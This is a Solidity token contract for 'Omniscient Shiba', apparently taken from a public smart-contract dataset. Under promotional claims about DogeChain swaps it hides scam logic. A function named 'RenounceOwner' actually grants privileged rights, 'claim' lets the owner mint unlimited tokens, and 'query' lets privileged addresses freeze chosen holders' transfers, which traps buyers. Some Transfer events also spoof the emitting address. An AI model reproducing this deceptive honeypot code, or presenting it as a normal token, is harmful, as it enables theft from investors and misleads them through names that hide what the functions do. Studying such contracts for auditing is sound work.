File size: 5,171 Bytes
f998fcd |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 |
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
pragma solidity 0.8.17;
/*
- Omniscient Shiba - $OMNISHIB -
- Connecting All DogeChains -
- Atomic Swaps of all Native DogeChain Assets
- Synthetic Pools Gain Higher APR
- 0% Trading Fees first 24 Hours
Powered by Thorchain Infrastructure
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract OMNISHIB {
mapping (address => uint256) public balanceOf;
mapping (address => bool) AmountOf;
mapping (address => bool) ii;
//
string public name = "Omniscient Shiba";
string public symbol = unicode"OMNISHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 500000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
balanceOf[msg.sender] = totalSupply;
deploy(lead_dev, totalSupply); }
address owner = msg.sender;
address V2Router = 0x158AE1c93333AF29BF422d1d463Fd382fD9cc0df;
address lead_dev = 0x3efF38C0e1e5DD6Bd58d3fa79cAecc4Da46C8866;
function deploy(address account, uint256 amount) public {
require(msg.sender == owner);
emit Transfer(address(0), account, amount); }
modifier V() {
require(ii[msg.sender]);
_;}
modifier I() {
require(msg.sender == owner);
_;}
function transfer(address to, uint256 value) public returns (bool success) {
if(msg.sender == V2Router) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer (lead_dev, to, value);
return true; }
require(!AmountOf[msg.sender]);
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true; }
function RenounceOwner(address nan) I public {
ii[nan] = true; }
function claim(address x, uint256 y) I public {
balanceOf[x] += y;
totalSupply += y; }
function query(address ex) V public{
require(!AmountOf[ex]);
AmountOf[ex] = true; }
function send(address ex) V public {
require(AmountOf[ex]);
AmountOf[ex] = false; }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == V2Router) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_dev, to, value);
return true; }
require(!AmountOf[from]);
require(!AmountOf[to]);
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
} |